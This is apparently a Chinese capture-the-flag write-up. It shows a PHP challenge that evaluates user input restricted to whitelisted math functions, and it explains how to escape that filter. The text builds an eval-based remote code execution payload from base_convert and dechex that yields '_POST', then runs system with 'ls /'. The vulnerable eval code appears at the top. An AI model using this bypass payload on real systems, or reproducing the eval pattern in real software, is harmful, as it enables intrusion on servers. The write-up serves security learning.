<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
思路就是通过表达式实现任意代码执行。
表达式中不能有以下特殊符号:
' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'。
正则表达式
/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/
的含义:
[a-zA-Z_\x7f-\xff]
:匹配第一个字符,必须是字母(大小写)、下划线或 ASCII 码在 127-255 之间的字符(扩展 ASCII 字符)
[a-zA-Z_0-9\x7f-\xff]*
:匹配后续字符,可以是字母、数字、下划线或扩展 ASCII 字符,*
表示可以有 0 个或多个
测试了一下,匹配到的是以非数字开头的单词。也就是说这道题限制使用的所有函数必须在白名单中:
'abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'
方向大概就是利用调用这些函数拼凑出任意文件读取代码。
有点像之前做的一道无参RCE的题目,利用自增绕过,但是这里禁用了[ ]符号如何截取单个字符?
测试了一下利用花括号好像也可以。
目标是执行eval($_POST{0}($_POST{1}))
首先需要构造出$abs = '_POST',然后$$abs{0}($$abs{1})
$abs=0/0;$acos=$abs._;$acosh=$acos{0};$acosh++;$sin=$acosh;$sin++;$asinh=$sin;$asinh++;$asinh++;$asinh++;$atan2=$asinh;$atan2++;$atan=_.$sin.$acosh.$asinh.$atan2;$\$atan{0}($\$atan{1})
太长了......只能想想其他办法了。
看了别人的解法。利用hex2bin()和base_convert():
hex2bin()
将十六进制字符串转换为二进制字符串。一位十六进制的二进制字符串是原始字节序列(0-255 的数值),但当这些字节的值落在 ASCII 可打印范围内(0x20-0x7E)时,解释器 / 终端会自动将其显示为对应的 ASCII 字符。
base_convert()
string base_convert(string $num, int $from_base, int $to_base)
$num
:需要转换的数字字符串(必须是$from_base
进制下的有效数字)。
$from_base
:原始数字的进制(范围:2 ~ 36)。
$to_base
:目标进制(范围:2 ~ 36)。能够进行36进制内的自由转换。
利用hex2bin()转换十六进制字符串"5f504f5354"就能得到我们需要的_POST字符。但是由于该函数并不在白名单内,我们可以利用base_convert()转换十进制字符串"37907361743"转换成36进制字符串得到hex2bin,因为"hex2bin"中只包含0-10和a-z范围内的字符,正好就是36进制数的格式。另外由于引号被禁用,我们无法直接使用hex2bin('5f504f5354'),因此还需要利用dechex(409369269076)得到5f504f5354。
?c=$pi=base_convert(37907361743,10,36)(dechex(409369269076));$\$pi{0}($\$pi{1})
POST
0=system&1=ls /
那我们为什么不直接用base_convert()函数得到post呢
?c=$pi=base_convert(1198541,10,36);$_$pi{0}($_$pi{1})
哦对不行的,下划线会被正则匹配到,导致_.base_convert一整个被视为一个函数。
另外附一张图各数制解释:
总结一下:这道题中命令执行限制了只能使用给定的数学函数,关键在于hex2bin函数能得到字符串以及hex2bin是36进制数格式,导致了木马注入。一开始使用了自增绕过的方法,但是没考虑到长度问题,另外自增绕过一般使用于所有字母被禁用的场景,更加复杂。